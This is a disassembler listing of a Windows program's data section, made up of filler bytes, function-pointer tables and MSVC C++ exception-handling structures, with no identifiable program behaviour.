db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
align 4
dd 3E3h dup(0)
off_43E000 dd offset sub_4017C6 ; DATA XREF: sub_4036D0+3FEo
off_43E004 dd offset byte_4367D0 ; DATA XREF: sub_403C70+2o
off_43E008 dd offset off_402009 ; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C dd offset sub_4021F8 ; DATA XREF: ___:00407075o
off_43E010 dd offset loc_402171 ; DATA XREF: sub_409AE0+4o
; sub_409B40+Bo ...
off_43E014 dd offset loc_402027 ; DATA XREF: sub_40ADC0+2o
; sub_40AE10+1Co
dd offset byte_4367D0
align 10h
off_43E020 dd offset loc_401ACD ; DATA XREF: ___:0040B118o
; sub_40B170+1Eo
flt_43E024 dd 1.0 ; DATA XREF: ___:0040B7C6r
off_43E028 dd offset sub_401A3C ; DATA XREF: sub_40F600+157o
; sub_40FDA0+1Do
dd offset sub_40212B
dd 0
off_43E034 dd offset sub_401AB9 ; DATA XREF: sub_40F600+142o
; sub_40FDA0+23o
off_43E038 dd offset loc_40115E ; DATA XREF: sub_411860+36o
; sub_411910+1Do
dd offset loc_401FE6
dd 0
off_43E044 dd offset sub_4014BF ; DATA XREF: ___:0041318Do
; sub_413220+1Fo
dd offset sub_401CF8
align 10h
off_43E050 dd offset sub_4019BF ; DATA XREF: sub_416C00+6o
; sub_417DF0+8o
dd offset sub_4020A9
dd 0
off_43E05C dd offset loc_401C99 ; DATA XREF: sub_416C60+6o
; sub_417E20+8o
dd offset sub_401230
align 8
off_43E068 dd offset loc_40191A ; DATA XREF: sub_416CC0o sub_41FBD0+8o
dd offset sub_401CDF
dd 0
off_43E074 dd offset sub_40111D ; DATA XREF: sub_416D10o
; sub_4190B0+36o
off_43E078 dd offset loc_4014A1 ; DATA XREF: sub_417BC0+68o
off_43E07C dd offset sub_401064 ; DATA XREF: sub_417C60+8Bo
off_43E080 dd offset sub_40138E ; DATA XREF: sub_417D30+74o
off_43E084 dd offset loc_401B6D ; DATA XREF: sub_417E50+7Bo
off_43E088 dd offset loc_40202C ; DATA XREF: sub_417F10+7Bo
off_43E08C dd offset loc_401F1E ; DATA XREF: sub_417FD0+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND]
db 1Fh, 40h, 0
off_43E094 dd offset loc_401FD7 ; DATA XREF: sub_418080+3Eo
off_43E098 dd offset sub_401E4C ; DATA XREF: sub_418100+3Eo
off_43E09C dd offset loc_40100A ; DATA XREF: sub_418180+10o
off_43E0A0 dd offset loc_4010B4 ; DATA XREF: sub_4181B0+4Bo
off_43E0A4 dd offset sub_401BA4 ; DATA XREF: sub_418230+10o
off_43E0A8 dd offset sub_401712 ; DATA XREF: sub_418260+10o
off_43E0AC dd offset sub_401613 ; DATA XREF: sub_418290+6Bo
dbl_43E0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4198C0+22r
dd 0
off_43E0BC dd offset sub_401AF5 ; DATA XREF: sub_41A010+Bo
; sub_41A110+6o
off_43E0C0 dd offset sub_401E74 ; DATA XREF: sub_41AFE0+Do sub_41B040o
off_43E0C4 dd offset sub_4013FC ; DATA XREF: ___:0041B3A2o
; ___:0041B48Do
dd offset sub_40167C
align 10h
off_43E0D0 dd offset loc_4019E7 ; DATA XREF: sub_41D670+77o
; sub_41D760+1Do
dd offset sub_401C80
dd 0
off_43E0DC dd offset sub_4011FE ; DATA XREF: sub_426450+32o
dd offset sub_401A64
dd offset sub_401A41
dd 0
off_43E0EC dd offset loc_4016D1 ; DATA XREF: sub_4264C0+6Ao
; sub_426560+1Do
dd offset sub_401A64
dd offset byte_4367D0
dd 0
off_43E0FC dd offset loc_401AAF ; DATA XREF: sub_4269A0+32o
dd offset sub_401A64
dd offset sub_401366
dd 0
off_43E10C dd offset sub_40181B ; DATA XREF: sub_426EB0+32o
dd offset sub_401A64
dd offset sub_401E92
dd 0
off_43E11C dd offset sub_40222A ; DATA XREF: sub_427590+32o
dd offset sub_401A64
dd offset sub_401A05
dd 0
off_43E12C dd offset sub_401C2B ; DATA XREF: sub_427DC0+32o
dd offset sub_4021A8
dd offset sub_4015AF
dd 0
off_43E13C dd offset loc_402068 ; DATA XREF: sub_427E30+7Ao
; sub_427EF0+1Do
dd offset sub_4021A8
dd offset byte_4367D0
dd 0
off_43E14C dd offset sub_4021B2 ; DATA XREF: sub_428160+4Bo
; sub_428250+10o
dd offset sub_4021A8
dd offset sub_401D2A
dd 0
off_43E15C dd offset loc_40112C ; DATA XREF: sub_4299C0+32o
; sub_429A60+9o
dd offset sub_4021A8
dd offset sub_40137A
dd 0
off_43E16C dd offset loc_401B04 ; DATA XREF: sub_429D00+32o
dd offset sub_4021A8
dd offset sub_4010AF
dd 0
off_43E17C dd offset sub_4017A8 ; DATA XREF: sub_42A090+32o
dd offset sub_4021A8
dd offset sub_40188E
dd 0
off_43E18C dd offset sub_4020D1 ; DATA XREF: sub_42B1D0+27o
dword_43E190 dd 0 dd 8, 0
off_43E19C dd offset byte_4367D0 ; DATA XREF: sub_42B240+39o
off_43E1A0 dd offset sub_401F41 ; DATA XREF: ___:0042B312o
dd offset sub_4021A8
dd offset sub_40134D
align 10h
off_43E1B0 dd offset sub_401B22 ; DATA XREF: sub_42B480+32o
dd offset sub_4021A8
dd offset sub_40152D
align 10h
dd offset loc_4015F0
dd offset sub_4021A8
dd offset sub_4019E2
align 10h
dd offset dword_43E348
off_43E1D4 dd offset loc_436811 ; DATA XREF: ___:00436808o
; ___:off_4438C0o ...
dd 0FFFFFFFFh, 436BACh, 436BC0h, 4Dh dup(0)
off_43E318 dd offset off_446CE0 ; DATA XREF: ___:0043E330o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43E318
dd 0
db 0 ; DATA XREF: ___:0043E358o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 43E330h
dword_43E348 dd 3 dup(0) dd offset off_446CE0
dd offset unk_43E338
dd 45h dup(0)
dword_43E470 dd 19930520h, 5, 43E490h, 5 dup(0) dd 0FFFFFFFFh, 437B2Ch, 0
dd offset dword_436FD0+0B30h
dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0)
dword_43E4C0 dd 19930520h, 3Dh, 43E4E0h, 5 dup(0) dd 0FFFFFFFFh, 437B70h, 0
dd offset loc_437B7B
dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh
dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah
dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h, 0Dh, 437C2Eh, 0Eh
dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h, 11h, 437C66h, 12h
dd 437C74h, 13h, 437C82h, 14h, 437C90h, 15h, 437C9Eh, 16h
dd 437CACh, 17h, 437CBAh, 18h, 437CC8h, 19h, 437CD6h, 1Ah
dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h, 1Dh, 437D0Eh, 1Eh
dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h, 21h, 437D46h, 22h
dd 437D54h, 23h, 437D62h, 24h, 437D70h, 25h, 437D7Eh, 26h
dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h, 29h, 437DB6h, 2Ah
dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h, 2Dh, 437DEEh, 2Eh
dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h, 31h, 437E26h, 32h
dd 437E34h, 33h, 437E42h, 34h, 437E50h, 35h, 437E5Eh, 36h
dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h, 39h, 437E96h, 3Ah
dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0)
dword_43E700 dd 19930520h, 1, 43E720h, 5 dup(0) dd 0FFFFFFFFh, 437FA0h, 2 dup(0)
dword_43E730 dd 19930520h, 2, 43E750h, 5 dup(0) dd 0FFFFFFFFh, 437FC0h, 0
dd offset loc_437FC8
dd 2 dup(0)
dword_43E768 dd 19930520h, 2, 43E788h, 5 dup(0) dd 0FFFFFFFFh, 437FF0h, 0
dd offset loc_437FF8
align 10h
dword_43E7A0 dd 19930520h, 1, 43E7C0h, 5 dup(0) dd 0FFFFFFFFh, 438020h, 2 dup(0)
dword_43E7D0 dd 19930520h, 7, 43E7F0h, 5 dup(0) dd 0FFFFFFFFh, 438040h, 0
dd offset loc_438048
dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh
dd 2 dup(0)
dword_43E830 dd 19930520h, 7, 43E850h, 5 dup(0) dd 0FFFFFFFFh, 4380C0h, 0
dd offset loc_4380C8
dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh
dd 2 dup(0)
dword_43E890 dd 19930520h, 11h, 43E8B0h, 5 dup(0) dd 0FFFFFFFFh, 438140h, 0FFFFFFFFh, 438148h, 0FFFFFFFFh
dd 438150h, 0FFFFFFFFh, 438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh
dd 438168h, 0FFFFFFFFh, 438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh
dd 438180h, 0FFFFFFFFh, 438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh
dd 438198h, 0FFFFFFFFh, 4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh
dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h, 4 dup(0)
dword_43E948 dd 19930520h, 0Bh, 43E968h, 5 dup(0) dd 0FFFFFFFFh, 438200h, 0
dd offset loc_438208
dd 0FFFFFFFFh, 438210h, 2, 438218h, 0FFFFFFFFh, 438220h
dd 0FFFFFFFFh, 438228h, 0FFFFFFFFh, 438230h, 0FFFFFFFFh
dd 438238h, 7, 438243h, 7, 43824Bh, 9, 438253h, 4 dup(0)
dword_43E9D0 dd 19930520h, 31h, 43E9F0h, 5 dup(0) dd 0FFFFFFFFh, 438280h, 0
dd offset loc_43828B
dd 0
dd offset loc_438296
dd 0FFFFFFFFh, 4382A1h, 0FFFFFFFFh, 4382ACh, 4, 4382B7h
dd 0FFFFFFFFh, 4382C2h, 6, 4382CDh, 6, 4382D8h, 8, 4382E3h
dd 0FFFFFFFFh, 4382EEh, 0Ah, 4382F9h, 0Ah, 438304h, 0Ah
dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h, 0Ah, 438330h, 0FFFFFFFFh
dd 43833Bh, 11h, 438346h, 11h, 438351h, 0FFFFFFFFh, 43835Ch
dd 0FFFFFFFFh, 438367h, 15h, 438372h, 0FFFFFFFFh, 43837Dh
dd 0FFFFFFFFh, 438388h, 18h, 438393h, 0FFFFFFFFh, 43839Eh
dd 0FFFFFFFFh, 4383A9h, 0FFFFFFFFh, 4383B4h, 0FFFFFFFFh
dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h, 1Dh, 4383E0h, 1Dh
dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h, 22h, 43840Ch, 22h
dd 438417h, 22h, 438422h, 22h, 43842Dh, 22h, 438438h, 22h
dd 438443h, 22h, 43844Eh, 22h, 438459h, 22h, 438464h, 22h
dd 43846Fh, 22h, 43847Ah, 22h, 438485h, 22h, 438490h, 0Ch dup(0)
dword_43EBA8 dd 19930520h, 2, 43EBC8h, 5 dup(0) dd 0FFFFFFFFh, 438538h, 0
dd offset loc_438530
align 10h
dword_43EBE0 dd 19930520h, 2, 43EC00h, 5 dup(0) dd 0FFFFFFFFh, 43857Bh, 0
dd offset loc_438570
dd 2 dup(0)
dword_43EC18 dd 19930520h, 3, 43EC38h, 5 dup(0) dd 0FFFFFFFFh, 4385B0h, 0
dd offset loc_4385BB
dd 0
dd offset loc_4385C6
dd 2 dup(0)
dword_43EC58 dd 19930520h, 1, 43EC78h, 5 dup(0) dd 0FFFFFFFFh, 4385F0h, 2 dup(0)
dword_43EC88 dd 19930520h, 1, 43ECA8h, 5 dup(0) dd 0FFFFFFFFh, 438610h, 2 dup(0)
dword_43ECB8 dd 19930520h, 2, 43ECD8h, 5 dup(0) dd 0FFFFFFFFh, 438630h, 0
dd offset loc_438638
align 10h
dword_43ECF0 dd 19930520h, 56h, 43ED10h, 5 dup(0) dd 0FFFFFFFFh, 438650h, 0
dd offset loc_43865B
dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h
dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah
dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h, 0Dh, 4386DEh, 0Eh
dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh, 11h, 43870Ah, 12h
dd 438715h, 13h, 438720h, 14h, 43872Bh, 15h, 438736h, 16h
dd 438741h, 17h, 43874Ch, 18h, 438757h, 19h, 438762h, 1Ah
dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h, 1Dh, 43878Eh, 1Eh
dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh, 1Eh, 4387BAh, 1Eh
dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh, 1Eh, 4387E6h, 1Eh
dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh, 1Eh, 438807h, 2Ah
dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh, 2Dh, 438828h, 1Eh
dd 438828h, 1Eh, 438833h, 30h, 43883Eh, 1Eh, 43883Eh, 1Eh
dd 438849h, 33h, 438854h, 1Eh, 438854h, 1Eh, 43885Fh, 36h
dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h, 39h, 438880h, 1Eh
dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h, 1Eh, 438896h, 1Eh
dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh, 1Eh, 4388B7h, 42h
dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh, 45h, 4388D8h, 1Eh
dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh, 1Eh, 4388EEh, 1Eh
dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h, 1Eh, 43890Fh, 4Eh
dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h, 51h, 438930h, 52h
dd 43893Bh, 53h, 438946h, 54h, 438951h, 13h dup(0)
dd offset off_4438C0
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 436800h, 2 dup(0)
dd offset off_4438E0
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 436C2Ah, 2 dup(0)
dd offset off_443908
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 436C30h, 0
dword_43F068 dd 3, 43F048h, 43F028h, 43F008h, 2 dup(0)dword_43F080 dd 0 ; ___:0040A997o
dd offset dword_436BD4+62h
dd 0
dd offset dword_43F068
dd 2 dup(0)
dword_43F098 dd 19930520h, 1, 43F0B8h, 5 dup(0) dd 0FFFFFFFFh, 438A30h, 2 dup(0)
dword_43F0C8 dd 19930520h, 1, 43F0E8h, 5 dup(0) dd 0FFFFFFFFh, 438A50h, 2 dup(0)
dword_43F0F8 dd 19930520h, 3, 43F118h, 5 dup(0) dd 0FFFFFFFFh, 438A70h, 0
dd offset loc_438A87
dd 1, 438A8Fh, 2 dup(0)
dword_43F138 dd 19930520h, 1, 43F158h, 5 dup(0) dd 0FFFFFFFFh, 438AB0h, 2 dup(0)
dword_43F168 dd 19930520h, 2, 43F188h, 1, 43F198h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 43F1B0h, 4 dup(0)
dd offset sub_40AE52
dd 2 dup(0)
dword_43F1C8 dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 43F210h, 4 dup(0)
dd offset sub_40AFD1
dd 2 dup(0)
dword_43F228 dd 19930520h, 4, 43F248h, 5 dup(0) dd 0FFFFFFFFh, 438AF0h, 0
dd offset loc_438AFB
dd 1, 438B06h, 2, 438B11h, 2 dup(0)
dword_43F270 dd 19930520h, 4, 43F290h, 5 dup(0) dd 0FFFFFFFFh, 438B40h, 0
dd offset loc_438B4B
dd 1, 438B56h, 2, 438B61h, 2 dup(0)
dword_43F2B8 dd 19930520h, 3, 43F2D8h, 5 dup(0) dd 0FFFFFFFFh, 438B90h, 0FFFFFFFFh, 438B98h, 0FFFFFFFFh
dd 438BA0h, 2 dup(0)
dword_43F2F8 dd 19930520h, 3, 43F318h, 5 dup(0) dd 0FFFFFFFFh, 438BC0h, 0
dd offset loc_438BC8
dd 1, 438BD0h, 2 dup(0)
dword_43F338 dd 19930520h, 1, 43F358h, 5 dup(0) dd 0FFFFFFFFh, 438BF0h, 2 dup(0)
dword_43F368 dd 19930520h, 4, 43F388h, 5 dup(0) dd 0FFFFFFFFh, 438C10h, 0FFFFFFFFh, 438C18h, 0FFFFFFFFh
dd 438C20h, 2, 438C28h, 2 dup(0)
dword_43F3B0 dd 19930520h, 1, 43F3D0h, 5 dup(0) dd 0FFFFFFFFh, 438C50h, 2 dup(0)
dword_43F3E0 dd 19930520h, 4, 43F400h, 5 dup(0) dd 0FFFFFFFFh, 438C70h, 0
dd offset loc_438C7B
dd 0
dd offset loc_438C86
dd 2, 438C91h, 2 dup(0)
dword_43F428 dd 19930520h, 1, 43F448h, 5 dup(0) dd 0FFFFFFFFh, 438CC0h, 2 dup(0)
dword_43F458 dd 19930520h, 5, 43F478h, 5 dup(0) dd 0FFFFFFFFh, 438CE0h, 0
dd offset loc_438CEB
dd 0
dd offset loc_438CF6
dd 0
dd offset loc_438D01
dd 0
dd offset loc_438D0C
dd 2 dup(0)
dword_43F4A8 dd 19930520h, 2, 43F4C8h, 5 dup(0) dd 0FFFFFFFFh, 438D40h, 0
dd offset loc_438D4B
align 10h
dword_43F4E0 dd 19930520h, 2, 43F500h, 5 dup(0) dd 0FFFFFFFFh, 438D70h, 0
dd offset loc_438D7B
dd 2 dup(0)
dword_43F518 dd 19930520h, 4, 43F538h, 5 dup(0) dd 0FFFFFFFFh, 438DA0h, 0FFFFFFFFh, 438DA8h, 0FFFFFFFFh
dd 438DB0h, 0FFFFFFFFh, 438DB8h, 2 dup(0)
dword_43F560 dd 19930520h, 8, 43F580h, 5 dup(0) dd 0FFFFFFFFh, 438DE0h, 0
dd offset loc_438DEB
dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h
dd 1, 438E2Dh, 4 dup(0)
dword_43F5D0 dd 19930520h, 0Dh, 43F5F0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0FFFFFFFFh, 438E6Bh, 1, 438E76h
dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh
dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh
dd 438EE4h, 4 dup(0)
